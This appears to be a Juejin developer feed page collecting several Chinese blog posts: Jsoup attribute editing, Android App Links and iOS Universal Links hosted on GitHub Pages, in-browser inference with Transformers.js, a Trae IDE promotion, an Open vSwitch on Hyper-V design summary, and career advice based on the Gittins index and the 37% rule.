Jsoup 是一个强大的 Java 库,用于解析和操作 HTML 文档。它提供了简单而直观的 API,可以轻松地修改 HTML 元素的属性。以下是如何使用 Jsoup 修改 HTML 元素属性的详细步骤和代码示例。

一、修改 HTML 元素属性的基本方法

(一)获取元素

首先,需要通过选择器获取目标元素。可以使用 select() 方法,结合 CSS 选择器来定位元素。

(二)修改属性

使用 attr() 方法可以设置或修改元素的属性。如果属性不存在,attr() 方法会创建新属性;如果属性已存在,则会更新其值。

二、代码示例

以下是一个完整的代码示例,展示如何使用 Jsoup 修改 HTML 元素的属性:

import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.Element;

public class JsoupModifyAttributes {
    public static void main(String[] args) {
        // 示例 HTML 字符串
        String html = "<html><head><title>Test</title></head><body><a href='https://example.com'>Link</a></body></html>";

        // 解析 HTML 字符串为 Document 对象
        Document doc = Jsoup.parse(html);

        // 获取 <a> 元素
        Element link = doc.select("a").first();

        // 修改 href 属性
        link.attr("href", "https://newexample.com");
        System.out.println("Updated href: " + link.attr("href"));

        // 添加新属性
        link.attr("target", "_blank");
        System.out.println("Added target attribute: " + link.attr("target"));

        // 修改多个属性
        link.attr("class", "external-link").attr("data-id", "12345");
        System.out.println("Updated class: " + link.attr("class"));
        System.out.println("Added data-id attribute: " + link.attr("data-id"));

        // 输出修改后的 HTML
        System.out.println("Modified HTML:\n" + doc.html());
    }
}

输出结果

Updated href: https://newexample.com
Added target attribute: _blank
Updated class: external-link
Added data-id attribute: 12345
Modified HTML:
<html>
 <head>
  <title>Test</title>
 </head>
 <body>
  <a href="https://newexample.com" target="_blank" class="external-link" data-id="12345">Link</a>
 </body>
</html>

三、修改属性的具体方法

(一)attr(String key, String value)

设置或修改指定属性的值。如果属性不存在,则会创建新属性。

link.attr("href", "https://newexample.com");

(二)removeAttr(String key)

移除指定的属性。

link.removeAttr("target");

(三)hasAttr(String key)

检查元素是否具有指定的属性。

if (link.hasAttr("class")) {
    System.out.println("Element has class attribute.");
}

(四)attributes()

获取元素的所有属性,返回一个 Attributes 对象。

Attributes attributes = link.attributes();
for (Attribute attribute : attributes) {
    System.out.println(attribute.getKey() + ": " + attribute.getValue());
}

四、注意事项

(一)确保选择器正确

在修改属性之前,确保选择器能够正确地定位到目标元素。如果选择器没有匹配到任何元素,attr() 方法将不会生效。

(二)处理多个元素

如果选择器匹配到多个元素,可以使用 eachAttr() 方法批量修改属性。

Elements links = doc.select("a");
links.forEach(element -> element.attr("target", "_blank"));

(三)避免覆盖重要属性

在修改属性时,注意不要覆盖重要的属性,如 idname,除非这是你的意图。

五、总结

通过使用 Jsoup 的 attr() 方法,可以轻松地修改 HTML 元素的属性。结合选择器和 DOM 操作,可以实现复杂的 HTML 文档解析和修改任务。希望这些方法对您有所帮助,祝您在数据处理和网页操作中取得更大的成功!

by onejason at January 20, 2025 07:52 AM

juejin ios

App links 与 Unversal links 搭建 by github page

因为firebase dynamic link 要在2025-08-25停止运行了,被迫寻找其他方案。了解到可以借助github自己搭建一个链接(测试用)

github page

新建一个空白项目,项目名设置为用户名.github.io(如test.github.io), 创建一个index.html文件,随意写一个按钮

image.png

    <button onclick="openApp()">打开app</button>
    <script>
        function openApp() {
            window.location.href = 'https://test.github.io/links?region=cn';
            console.log('打开App 点击事件')
        }
    </script>

进入项目的设置页面,选择pages,选择对应分支

image.png

等待1-2分钟,查看 test.github.io/, 可以正常看到网页展示按钮,代表已配置成功

Android

借助Andorid studio 配置app links 的配置

选择Tools > App Links Assistant打开引导页面

image.png

Open URL Mapping Editor

配置app与网页链接的关联

image.png

image.png

位置1,填写之前配置好的 github page 的链接test.github.io/

位置2,填写具体路径,后面通过对应完整的链接唤起app,

可以是/,唤起app链接则是test.github.io/

也可以填写实际需要的路径,如 /links,唤起app链接则是 test.github.io/links/

注意,配置的路径对应的页面可以不需要真实存在,如我配置的路径是/links,我并没有创建links.html,同样能正常换起app的

位置3,选择链接唤起app时打开的页面是哪个,如.MainActivity,到时候 https://test.github.io/links/?name=123打开app时,可以在MainActivity中读取到具体值

点击确定后,可以在AndoridMainfest.xml的插入配置代码

<intent-filter android:autoVerify="true">
    <action android:name="android.intent.action.VIEW" />

    <category android:name="android.intent.category.DEFAULT" />
    <category android:name="android.intent.category.BROWSABLE" />

    <data android:scheme="https" />
    <data android:host="hello-coder-xu.github.io" />
    <data android:pathPattern="/" />
</intent-filter>

Select Activity

选择Activity编写读取链接值的页面,与上面位置3相同页面

val appLinkIntent: Intent = intent
val appLinkAction: String? = appLinkIntent.action
val appLinkData: Uri? = appLinkIntent.data

Declare website association

image.png

位置1,填写之前配置好的 github page 的链接test.github.io/ 位置2,填写当前项目的包名 位置3,根据实际情况选择使用哪种签名文件,我当前测试,直接使用debug(~/.android/debug.keystore ) 位置4,点击Generate Digitl Asset Links file按钮,生成 签名信息,复制签名信息

[{
  "relation": ["delegate_permission/common.handle_all_urls"],
  "target": {
    "namespace": "android_app",
    "package_name": "com.example.flutter_applink_demo",
    "sha256_cert_fingerprints":
    ["DF:5A:54:75:90:9C:23:3C:E7:01:E9:09:24:9D:DF:7B:01:80:37:9A:AA:69:44:CF:FD:CA:AB:B8:4B:1A:67:A6"]
  }
}]

位置5,在github项目中创建.well-know文件夹,再在.well-know下创建assetlinks.json,填写签名信息

注意:【很重要点】还需要在项目中创建一个.nojekyll文件,文件内容为空的,不然https://test.github.io/.well-know/assetlinks.json 无法正常读取到

位置6,确浏览器览其中打开https://test.github.io/.well-know/assetlinks.json链接查看到签名信息内容后,点击 Link And Verify

也可以通过https://developers.google.com/digital-asset-links/tools/generator?hl=zh-cn 来验证配置是否正确

除了完成上面Android studio 引导页面的操作外,还需要在新增一个配置 (预设app开启链接)

1,在Android 的values,创建 strings.xml(已经有此文件,直接插入下面代码即可),写入下面代码

<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="asset_statements" translatable="false">[{ "include": "https://test.github.io/.well-known/assetlinks.json" }]</string>
</resources>

2,在AndroidMainfest.xml中,在Application下,插入下面代码

<meta-data
    android:name="asset_statements"
    android:resource="@string/asset_statements" />

Unversal Links

步骤一

在github 项目的.well-know目录下,新建apple-app-site-association文件(无后缀),写入对应信息

{
    "applinks": {
        "details": [
            {
                "appID": "123456ABCD.com.example.flutterApplinkDemo",
                "paths": [
                    "/links/*"
                ]
            }
        ]
    }
}

说明 appID : 格式为 TeamId.BundleID paths : 可以是多个路径,例如配置/links/*时, 则可以通过https://test.github.io/links/ 来唤起app

可以通过https://yurl.chayev.com/ios-results 来验证配置信息是否通过

步骤二

在xCode中配置下面

image.png

by 小小砖块 at January 20, 2025 07:48 AM

juejin frontend

在前端实现 AI 推理

前言

Transformers.js 是一个机器学习工具库,允许开发者在浏览器中直接运行 Hugging Face 的预训练模型,无需服务器支持。它支持多种任务,如自然语言处理、计算机视觉、音频处理等。本文将介绍 Transformers.js 的基本使用方法,并通过示例展示如何在不同任务中使用它。

Transformers.js

目前,Transformers.js 有两个 npm 包:@xenova/transformers@huggingface/transformers。这两个包实际上是同一个仓库,最初由 xenova 开发并维护在个人仓库中。在 v3.0.0 版本时,该项目被转移到 Hugging Face 组织下,并进行了重大更新,包括对 WebGPU 的支持、新模型和任务的引入、新量化方法、以及对 Deno 和 Bun 的兼容性。

安装

通过 npm 安装

npm install @huggingface/transformers

通过 CDN 引入

<script type="module">
    import { pipeline } from 'https://cdn.jsdelivr.net/npm/@huggingface/transformers@3.3.1';
</script>

API 介绍

Transformers.js 提供了丰富的 API,但本文将重点介绍两个核心方法:pipeline<Task>Pipeline,它们足以满足大多数推理任务的需求。

pipeline

pipeline 方法接收三个参数:task(任务类型)、model(模型 ID)、options(其他可选参数)。

import { pipeline } from '@huggingface/transformers';

const pipe = await pipeline('image-to-text', 'Xenova/llama2.c-stories15M', { device: 'webgpu' });

<Task>Pipeline

pipeline 返回一个 Promise<AllTasks[T]>,其中 AllTasks[T]<Task>Pipeline 的实例。例如,pipeline 执行 image-to-text 任务时,返回的是一个 ImageToTextPipeline

const imageToText = await pipeline('image-to-text');

返回的 <Task>Pipeline 实例的第一个参数是输入文本,第二个参数是配置选项。

const output = await imageToText('http://xxx.xx.xx/xxx.jpg', { more: '' });

使用示例

文本生成

代码:

以下代码使用了 Xenova/llama2.c-stories15M 模型进行文本生成。该模型的推理速度较快,生成的文本质量也较好。

import { pipeline } from 'https://unpkg.com/@huggingface/transformers/dist/transformers.js';

(async function run() {
  const pipe = await pipeline('text-generation', 'Xenova/llama2.c-stories15M');
  const output = await pipe("Tell a joke", { max_new_tokens: 200 });
  console.log(output.map(x => x.generated_text).join('\n'));
})();

推理结果:

翻译

代码:

使用 Xenova/opus-mt-en-zh 模型进行翻译。该模型的推理速度较快,但翻译效果一般,尤其是对于长句子和专有名词的处理可能不够准确。

(async function run() {
  const pipe = await pipeline('translation', 'Xenova/opus-mt-en-zh');
  const output = await pipe("why are you so angry?");
  console.log(output.map(x => x.translation_text).join('\n'));
})();

输出结果:

你为什么这么生气?

文本总结

代码:

使用 Xenova/distilbart-cnn-6-6 模型进行文本总结。

(async function run() {
  const pipe = await pipeline('summarization', 'Xenova/distilbart-cnn-6-6');
  const text = `
  Run 🤗 Transformers directly in your browser, with no need for a server!
  Transformers.js is designed to be functionally equivalent to Hugging Face’s transformers python library, meaning you can run the same pretrained models using a very similar API. These models support common tasks in different modalities, such as:
  📝 Natural Language Processing: text classification, named entity recognition, question answering, language modeling, summarization, translation, multiple choice, and text generation.
  🖼️ Computer Vision: image classification, object detection, segmentation, and depth estimation.
  🗣️ Audio: automatic speech recognition, audio classification, and text-to-speech.
  🐙 Multimodal: embeddings, zero-shot audio classification, zero-shot image classification, and zero-shot object detection.
  Transformers.js uses ONNX Runtime to run models in the browser. The best part about it, is that you can easily convert your pretrained PyTorch, TensorFlow, or JAX models to ONNX using 🤗 Optimum.
  `;
  const output = await pipe(text);
  console.log(output.map(x => x.summary_text).join('\n'));
})();

推理结果:

The best part of the browser is that you can run your pretrained models using ONNX.js. The best thing to do is run yourpretrained models to ONNx using OnnX. The browser can run models using the same API as the Python library.

图生文

代码:

使用 Mozilla/distilvit 模型进行图像到文本的生成。该模型的推理速度较快,但生成效果一般。

<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Document</title>

  <style>
    /* 整体容器 */
    body {
      font-family: Arial, sans-serif;
      padding: 20px;
      background-color: #f9f9f9;
    }

    /* 文件输入框容器 */
    .file-upload-container {
      margin-bottom: 20px;
      text-align: center;
    }

    .file-upload-container input {
      padding: 10px;
      font-size: 16px;
    }

    /* 图像和输出框容器 */
    .content-container {
      display: flex;
      justify-content: center;
      align-items: flex-start;
      gap: 20px;
    }

    /* 图像容器 */
    .image-container {
      width: 50%;
      max-width: 700px;
      overflow: hidden;
      padding: 0 10px;
    }

    .image-container img {
      width: 100%;
      height: auto;
      display: block;
      border: 1px solid #ccc;
      border-radius: 8px;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }

    .output-container {
      width: 50%;
    }

    /* 输出框 */
    .output-container textarea {
      width: 100%;
      height: 100%;
      padding: 10px;
      font-size: 14px;
      border: 1px solid #ccc;
      border-radius: 8px;
      resize: none;
      box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
    }
  </style>
</head>

<body>
  <div>
    <!-- 文件输入框 -->
    <div class="file-upload-container">
      <input id="file-upload" type="file" />
    </div>

    <!-- 图像和输出框 -->
    <div class="content-container">
      <!-- 原图容器 -->
      <div class="image-container">
        <h3>加载图片:</h3>
        <img id="img" alt="Uploaded Image" />
      </div>
      <!-- AI 输出解释框 -->
      <div class="output-container">
        <h3>AI 输出:</h3>
        <textarea id="output" rows="10"></textarea>
      </div>
    </div>
  </div>

  <script type="module">
    import { pipeline } from 'https://unpkg.com/@huggingface/transformers/dist/transformers.js';
    const fileInput = document.getElementById('file-upload');
    const img = document.getElementById('img');
    const textarea = document.getElementById('output');

    async function handleUpload(evt) {
      const file = evt.target.files[0];
      if (!file) return;
      textarea.value = '';
      // 将图片转换为 url
      const blobUrl = URL.createObjectURL(file)
      img.src = blobUrl;
      // 加载模型
      const pipe = await pipeline('image-to-text', 'Mozilla/distilvit');
      // 执行推理
      const output = await pipe(blobUrl);
      textarea.value = output.map(x => x.generated_text).join('\n');
    }
    fileInput.addEventListener('change', handleUpload);
  </script>
</body>

</html>

推理结果:

文字转音频

如果出现自动播放被禁用的错误,可以手动创建一个 <audio> 元素,然后将生成的音频 URL 设置进去,再手动播放。

import { pipeline } from 'https://unpkg.com/@huggingface/transformers/dist/transformers.js';

(async function run() {
  const pipe = await pipeline('text-to-audio', 'Xenova/speecht5_tts');
  const speaker_embeddings = 'https://huggingface.co/datasets/Xenova/transformers.js-docs/resolve/main/speaker_embeddings.bin'
  const output = await pipe("Hello, I'm Ziyang, a front-end development engineer.", { speaker_embeddings });
  const url = URL.createObjectURL(output.toBlob());
  const audio = new Audio(url);
  audio.play();
  audio.addEventListener('ended', () => URL.revokeObjectURL(url));
})();

常见问题

1. 执行报错

按照官方示例执行时,可能会遇到语法错误。

import { pipeline } from '@huggingface/transformers';

const pipe = await pipeline('sentiment-analysis');

const out = await pipe('I love transformers!');

这个问题可能与 Transformers.js 库的某些 bug 有关。在 HTML 中运行该代码时不会报错,但在 Vue 中运行时可能会出现此错误。

解决方法

可以尝试指定一个模型来解决此问题。

const pipe = await pipeline('sentiment-analysis', 'Xenova/distilbert-base-uncased-finetuned-sst-2-english')

2. 不支持的模型

并非所有模型都支持 Transformers.js。当尝试使用不支持的模型时,会报错。

%2020250117090323.png)

解决方法

可以在 Hugging Face 官网的 Libraries 中筛选 Transformers.js,查看支持的模型列表。

结语

本文展示了如何使用 Transformers.js 在浏览器中运行多种 AI 模型,涵盖了文本生成、翻译、文本总结、图生文以及文字转音频等任务。通过这些示例,我们可以看到 Transformers.js 的强大功能和灵活性,它使得开发者能够直接在浏览器中运行复杂的 AI 模型,而无需依赖服务器。

然而,在浏览器中运行模型也有一些局限性。首次加载时,模型需要从网络下载,大小从几十兆到上千兆不等,这可能会导致用户需要等待一段时间。此外,由于模型的下载依赖于网络环境,科学上网可能是必要的,否则会遇到下载失败的情况。

尽管存在这些问题,Transformers.js 仍然是一个非常有潜力的工具,特别适合需要在客户端进行实时推理的应用场景。随着 Web 技术的不断进步,未来在浏览器中运行 AI 模型的门槛将会进一步降低,用户体验也会得到显著提升。

Transformers.js 加载模型需要科学上网才能正常下载,否则可能无法使用。

相关链接

by 子洋 at January 20, 2025 07:45 AM

这款最理解中文开发者的 AI IDE,免费白嫖 GPT4o,快来尝鲜体验吧 🥰🥰🥰

字节跳动旗下一款针对海外市场的 AI IDE 产品 Trae,今天正式上线了,同时还限时免费使用 Claude 3.5 和 GPT4o ,如果你感兴趣,快来尝鲜体验吧 官网地址

作为一名资深的 tab 工程师,我几乎每天都在和 cursor 和 chatgpt 这些 ai 工具打交道,但是他们好像都存在一个通病就是不太理解中文的意图,对于一些中文的 prompt 不太好处理。

这些模型在理解中文需求时表现已经相当不错,但偶尔也会因为语义的细微差异,生成的答案未必完全符合预期。

Trae 的出现,正好解决了这些痛点。作为一个支持中文语言的 IDE,无疑会大大提升国内用户的使用体验:

image.png

之所以打开官网的显示的是英文,但是他本来就是面向国外用户的,所以这个可以理解,希望能尽快支持中文吧,但是编辑器上使用的是中文的。

无论是界面语言的全面中文话,还是对代码注释等的友好支持,Trae 都让开发者感受到一种 "家" 的感觉。

Trae 同样集成了国外主流的大模型 Claude3.5 和 GPT-4O,为开发者提供了智能代码生成的逻辑和优化功能。

接下来我将结合我自己的体验,来分享一下 Trae 吧!!!

基本使用

这里就很简单的一个例子啦,就我们平时可能会遇到一些命令行忘记的情况下,最简单的方式就是直接问 Trae 了,如下所示:

image.png

这就给我们提供了很大的便利了,不在需要去网上搜索了,直接问 Trae 就完事了。

浏览器集成

Trae 还支持浏览器集成,在终端上启动项目的时候,它还会询问你是否需要开启浏览器,如果开启了即可直接在 Trae 中查看到具体效果怎么样了:

image.png

通过集成的方式,减少了在不同工具之间切换的麻烦,可以立即看到代码的更改结果,方便调试和优化。

修改 UI

我们作为一个前端的,最基本的就是切图了,这个时候我们就可以将我们已经写好的代码丢给 Trae 了,它会跟我们生成相对应需求的 ui 效果。

image.png

在上面的操作做我提供了要修改的代码和一些相关要修改的 prompt,然后 Trae 就会根据这些信息生成相对应的 ui 效果了。

现在的效果是修改了,但是效果还是不太好,我们再让他去优化一下:

cd36d1fbbf4b36cf8835727d672fdb5

image.png

现在这样我们就让他对我们的 ui 进行不断修改,最终效果如下图所示;

image.png

效果还是挺不错的。

我们还可以根据 ui 给的设计稿让他来给我们生成相对应的效果:

image.png

image.png

你可以看到最终生成的效果还是非常不错的。

刷算法

我们可能会经常去刷一下算法,例如在 leetcode 上,但是可能会遇到不懂的题,题解上面解答也不是很清楚,可能就懵懵懂懂的就过去了,有了 Trae 就方便很多了,例如我们要刷一道接雨水的题:

image.png

现在只要把题目丢给他,让他使用固定的语言进行解答就可以了,最终生成的代码执行效率还是很高的:

image.png

如果还是不懂的话,也可以让他给我们生成相对应的流程图和执行逻辑,如下所示:

image.png

image.png

image.png

这样,我们再也不用担心不会刷算法了。

总结

Trae 的出现,不仅仅是为了解决中文开发者的在使用上的不习惯问题,更从侧面上反映了不仅仅只有国外能做这种编辑器,我们国内也能做。

更多使用体验技巧,欢迎加我微信 yunmz777 与我一起探讨。

by Moment at January 20, 2025 07:36 AM

juejin backend

OVS-on-Hyper-V 设计

微软的管理程序解决方案——Hyper-V1实现了一个可扩展的虚拟交换机,并为其他供应商提供了实现功能扩展的机会2。扩展需要作为NDIS驱动程序来实现,这些NDIS驱动程序绑定在所提供的可扩展交换机驱动程序堆栈中。这些扩展可以广泛地提供监控、修改和转发数据包到Hyper-V可扩展交换机的目的端口的功能。相应地,扩展可以分为以下类型,并提供所述的功能:

•抓包扩展:监控报文 •过滤扩展:监控、修改包 •转发扩展:监控、修改、转发报文

正如预期的那样,Hyper-V解决方案上OVS的内核部分(数据路径)将作为转发扩展实现。

在 Hyper-V 中,虚拟机称为子分区。Hyper-V 可扩展交换机上的每个 VIF 或物理网卡都通过一个端口连接。每个端口既在交换机的入口路径上,也在交换机的出口路径上。入路径用于端口发送数据包,出路径用于端口接收数据包。通过设计,NDIS 提供了一个分层的接口。在这个分层接口中,高层在入口路径中调用低层。在出口路径中,情况正好相反。此外,还有一个对象标识符(OID)接口,用于控制操作。添加端口。调用的工作流本质上类似于数据包,其中较高层调用较低层。下图是该体系结构的一个很好的表示图。

Windows Filtering Platform (WFP)是一个基于Hyper-V实现的平台,提供了过滤数据包的api和服务。已利用粮食计划署对OVS没有能力直接处理的一些包裹进行过滤。后面的部分将提供更多细节。

IIP Helper6 是 Hyper-V 上可用的一组 API,用于检索与主机上的网络配置信息相关的信息。IP Helper 用于检索 OVS 需要的一些配置信息。

image.png

image.png

image.png

该图显示了 OVS Windows 实现中涉及的各种块,以及 NDIS 堆栈中可用的一些组件和虚拟机。数据包从一个 VIF传输到另一个 VIF 和物理网卡的工作流程也被显示出来。

该图大致说明了 OVS 用户空间和内核组件的位置,以及它们如何相互连接。

在 Hyper-V 解决方案上,OVS 的内核部分(数据路径)已经被实现为一个转发扩展,大致实现了以下子模块/功能。 内核中每个子组件的详细信息将在后面的部分中介绍:

  • 与 NDIS 堆栈接口
  • Netlink 消息解析器
  • Netlink socket
  • 交换机/数据路径管理
  • 与 OVS 解决方案的用户空间部分接口,以实现用户空间的必要功能 需要
  • port 管理
  • 流表/动作/包转发
  • 隧道
  • 事件通知

Linux 上 OVS 的数据路径是一个内核模块,不能直接移植,因为尽管提供的最终功能是相似的,但体系结构中存在显著差异。这些差异的一些例子如下:

  • 与 NDIS 堆栈接口,以挂钩到 NDIS 回调函数,以实现诸如接收和发送数据包、数据包完成、用于事件(如虚拟交换机上出现新端口)的 OIDs 等功能。

  • 用户空间和内核模块之间的接口。

  • 事件通知有很大的不同。

  • DPIF 和内核模块之间的通信接口不需要像 Linux 上的 OVS 那样实现。也就是说,出于可读性和可维护性的考虑,拥有与内核模块相似的接口将是有利的。

  • 直接使用 Linux 内核代码的任何许可问题。

由于这些差异,在 Hyper-V 上从头开始为 OVS 开发数据路径是一个直接的决定,而不是在 Linux 上移植数据路径。一次 “重新开发” 的重点是以下目标:

  • 坚持 OVS 用户空间部分的现有需求(如OVS -vswitchd),以尽量减少用户空间工作流中的更改。
  • 很好地适应了Hyper-V可扩展交换机转发扩展的典型工作流程。

OVS 解决方案的用户空间部分主要是 POSIX 代码,而不是非常特定于 Linux。大多数用户空间代码不直接与内核数据路径接口,并且是独立于内核数据路径进行移植的。

正如 OVS 移植设计文档中所解释的那样,DPIF 是与 OVS 内核部分接口的用户空间部分。每个 DPIF 提供程序必须实现的接口在 DPIF provider.h 中定义。尽管允许每个平台拥有自己的 DPIF 提供程序实现,但通过社区反馈发现,希望尽可能共享代码。因此,Hyper-V 上 OVS 的 DPIF 提供程序与 Linux上 的 DPIF 提供程序共享代码。该接口在 dpif-netlink.c 中实现。

我们将在后续的专门章节中详细阐述内核-用户空间接口。这里只需说明,Windows 的 DPIF提供程序实现是基于网络链接的,并且与 Linux 提供程序共享代码。

by bobz965 at January 20, 2025 07:33 AM

juejin career

跳槽、面试、选offer的三个科学思维(找工作必看!)

引言

你是否也曾在选择跳槽时犹豫不决,面临着如何评估职业发展、选择最优机会的压力?

回顾过去几年的跳槽经历,总是在某个契机点产生换工作的想法——可能是成长遇到瓶颈,也可能是绩效不如意。随之而来的便是日复一日的纠结,在走与留之间摇摆不定。

即使开始投简历,也不过是万里长征第一步,面试通过了某几家公司,总觉着这公司一般,要不再等等大厂?要不就是只投一些小公司,美其名曰练手,殊不知小公司面试的内容其实对后面的帮助意义并不大。

好不容易拿到几个offer备选,却只关注薪资待遇,忽略了职业发展更重要的因素,最后做出过错误的选择.....

由此引出三个问题:

  • 如何判断是时候踏出这一步,去探索新的职业发展?
  • 该花多长时间来找工作,什么时候判断自己可以停止面试了?
  • 拿到多个offer,怎么样选择才是最理智的?

我们来看看,数学家是怎么看待这些问题的。

是否应该换一个工作

工作不如意,职位没发展,薪资缺少竞争力,如果你也有类似的想法,你一定需要考虑的一个问题是:到底什么时候换一份工作?

可能你在一家单位呆了好多年,技术栈、业务模式、同事之间都很熟悉,但相比于日新月异的市场环境,技术栈可能有些落后,业务也并不是市面上最主流的。走吧,不想放弃现有的资源,不走,又感觉不甘心。

跳槽或许可以加薪、职位提高,可也意味着放弃熟悉的工作和积攒的人脉。领导说年底调薪,画大饼下次晋升就能轮到自己,可这话已经听了好几次了。

这个问题的范围非常广泛,比如你家附近有一个餐馆,你去吃过好几次,有时候体验挺好,有时候又觉着一般,那么你今晚出去吃饭,是去美团找一个新的饭店呢,还是去这家老的饭店呢?比如东野圭吾又出了新的悬疑小说了,《白夜行》你觉着是神作,可最新出的几本有感觉一般,那下次你想看悬疑小说,你该不该看看别的悬疑作家的书呢?

这背后的问题是,我们应该在什么情况下探索新事物,什么情况下专注于已有的东西呢?

我们来看看从数学角度,这个问题应该怎么考虑。有一个数学家叫做基廷斯,他提出了一个复杂的解决方案,称之为“基廷斯指数”。

844ED593-D634-4C20-836F-A70230D452D4.png

这个表格什么意思呢?我们把在现有单位工作每一天都分成了赢/输两个维度,当然评判的标准由你决定,你可以认为今天工作有成长,或者很愉悦,我们就算赢。如果你认为今天又是毫无成长、甚至被领导pua导致你的心情很差,我们算输。

但是,明天的工作要比今天的工作贬值1%,具体贬值多少,取决于你预期还能停留多长时间,比如说你可能明天会生病,或者公司倒闭,又或者你要去新的城市了。

上面的那个表格就是明天的工作比今天贬值1%的情况下,各种局面的基廷斯指数。

比如半个月过去了,你有8天感觉良好,但是有7天感觉较差,那么基廷斯指数就是0.6456。但如果你去一家新公司,你无法预知未来,不知道感受怎么样,也就是wins和losses都是0,那么基廷斯指数就是0.8699,你可以考虑跳槽去一家新的公司。

之所以新的公司基廷斯指数更高,是因为它可能给你带来新的机遇和挑战,探索的收益就高。

但还有一种情况是,如果你不打算继续在现有行业工作了,比如你不想在做程序员了,你希望成为一名自由职业,那么时间贬值率就要提高,下面这张表是每次比前一次贬值10%的计算结果。

96F1398A-0BF1-4358-86A1-49D541101EBE.png

跳槽去一家新公司的基廷斯指数变成了0.7029,这个很好理解,你都不准备干程序员了,如果换一家公司继续干,收益当然更低了。

用基廷斯指数来解决探索/收获问题是有一个隐形条件的,就是转换不需要任何成本。我们都知道换工作这件事并不容易,毕竟你要准备面试题、改简历、刷算法,我们在考虑的时候肯定要考虑的更复杂一些。

不过这还是给我带来一个启发,那就是根据「预期停留时间」这个因素来,来衡量自己是否真的需要换一份工作,避免自己因为意气用事而作出一些不利于自己的决策。

找工作该花多长时间

我之前一个同事找工作,大大小小的公司面试了不少,但主要经历放在了面试阿里上,大公司流程很长,又面了多个部门,前前后后花了2个多月的时间,这期间因为等阿里的流程,拒掉了好几个offer,可惜的是阿里的offer最终也没有下来,而前面的机会也都浪费掉了。

你会花多少时间找工作呢?如果已经有公司给你发了offer,你是选择继续面试,还是直接入职呢?后面的面试是未知数,而这个offer拒绝后,大概率就会错失掉这个offer。

这就引申出了一个问题,有公司给你发offer你就立刻入职,似乎有点冲动。但是一直面试,迟迟不作出选择,也会丧失掉不少机会,应该怎么办呢?

其实相亲、买房和找工作问题很类似,我们应该什么时候作出最终选择呢?别纠结,我们看看数学家是如何解决这类问题的。

我们先预设一下这个问题的条件:

  1. 你随机投递简历,但最后只能选择一家公司入职(废话)。
  2. 你每面试一家,你就能拿到offer。
  3. 如果你拒绝掉一个offer,那么这家公司就会选择其他人,你没有第二次沟通的机会。
  4. 你应该给自己设定一个期限,比如2个月内找到工作。

经过数学家的推导,得出了一个时间分割点37%,背后的计算方式我就不做过多解释了,大家感兴趣的可以详细了解,下面是chat gpt给我的解释。

C8B7C1DC-D5C3-4786-A232-FD86149C9097.png

虽然计算过程较为复杂,但结论却给了我们一个实用的参考标准。比如你决定2个月内找到工作,那么你把60天的时间分成两个阶段。第一阶段,在前22天里,你只面试,看看市面上的需求,招聘的行情,面试的难度。看看哪些工作是自己喜欢的,哪些工作是不靠谱的,然后记住这一段时间里面,你最心仪的那个岗位。

等过了37%这个时间点,你就进入第二阶段。你一旦接到比第一阶段更好的offer,或者差不多的offer时,你就接受这份offer,然后入职。

这就是37%原则,实际上是一个随机选择优化问题,这个答案是1958年提出来的,这样可以在不穷尽所有选择的情况下,大大增加找到最佳选项的概率。

当然,答案并不重要,重要的是背后的心理学问题,37%原则可以带给我们以下好处:

  • 避免后悔:我们往往会担心在做出选择后,可能会错过更好的offer。37%原则提供了一种理性评估的方法,让你更有信心。
  • 认知负荷减轻:面对过多的选项时,人容易感到焦虑或决策疲劳。这个原则减少了信息过载。
  • 均衡直觉与理性:37%原则结合了尝试(观察期)和行动(选择期),是一种兼顾经验和理性的平衡策略。

不过找工作当然没有这么简单,我们刚刚假定你每次面试都能拿到offer,你得是一个面霸!可真实场景中我们可能因为种种原因被挂掉,那我么假设你被拒绝的可能性是50%,那我们就得把37%变成25%,你得缩短观察期了。

当然了,假设你是业内大牛,你拒绝掉一个offer后,HR依然不断向你抛出橄榄枝,你有回头的机会!那你的的观察期就该延长。

这挺符合常识,高级人才不着急,可以多等等。就像条件好的,可以不着急结婚,多玩几年也没问题。

遵循37%原则最后的选择或许不是最优的,但你知道这样是科学的。真实的世界本身就很复杂,当我们无法掌控命运的情况下,这是我们所能采取的最佳策略。

下次找工作时,就不用再因为入职之后接到别的offer拍断大腿了,你已经做出了最佳决策!

如何选则一个offer

现在,你拿到了大厂、独角兽、国企等等好几个offer,你很满意,可这几家公司都不错,你很纠结,到底该选择哪一个呢?

这家公司是国企性质,但是薪资一般;另一家公司规模不大,但却是个管理岗可以带人;大公司的offer也拿到了,但只能当一个螺丝钉;这家公司有班车,那家公司离地铁站很近;听说这家公司业务发展不错,未来可能会高速发展;还有一家公司薪资涨幅特别多,但是脉脉上都说那边很忙,是在用生命换钱.....

还有身边的同事给出了意见,考虑的因素这么多,不少人都感觉无所适从。

我之前有一份工作,因为当时只有这家公司给了我预期的offer,然后我在已经知公司996的情况下,依然选择入职了,最后呆了一周发现996对自己完全没有好处,果断离职。

事实证明考虑一个因素肯定不行,你得考虑全面,可考虑太多了,你也不一定能作出最佳决策。

之前有一次和我在字节的Leader聊天,他说有一次负责规划一个业务,写了一份大几千字的文档去和CTO汇报。CTO并没有直接看资料,上来先问了他几个问题,他都没回答明白,然后就让他回去把这几件事情想明白再说。

事实上后面也证明,CTO的方向判断大部分都是正确的,面对汇报提出的几个看似抽象的问题,也都是核心问题,而且设想的方向是对的。明明他没有亲自调研,而我的Leader却做了大量的调研工作,可为什么作出的判断,反而没有大佬段时间作出的判断正确呢?难道说考虑的越多,反而没有好处吗?

数学上有一个概念叫做过度拟合,有一个因素就是模型太过复杂, 比如模型参数过多,导致模型在训练集上面准确率很高,但用测试集时准确率就下降很多,数据分布稍有变化,就会产生很大的影响。

就比如选择offer的时候,不少人考虑的因素非常多,将所有影响因素都纳入决策模型,例如薪资、职位名称、公司规模、发展前景、脉脉评价、通勤时间、福利细节等,甚至包括一些次要的如办公室环境、午餐补贴等。

而且因为每个人看重的点都不一样,有人的看重薪资,有的人看重职位,有的人就想找一个离家近的,甚至对这些因素进行加权。就像我刚刚提到我的一段经历,因为把薪资看的太重,所以offer达到了我的薪资预期时,我心里的打分大大提升,我就直接选择入职了。

那现实中我们怎么做,才是最好的呢?答案是:借助简单公式。

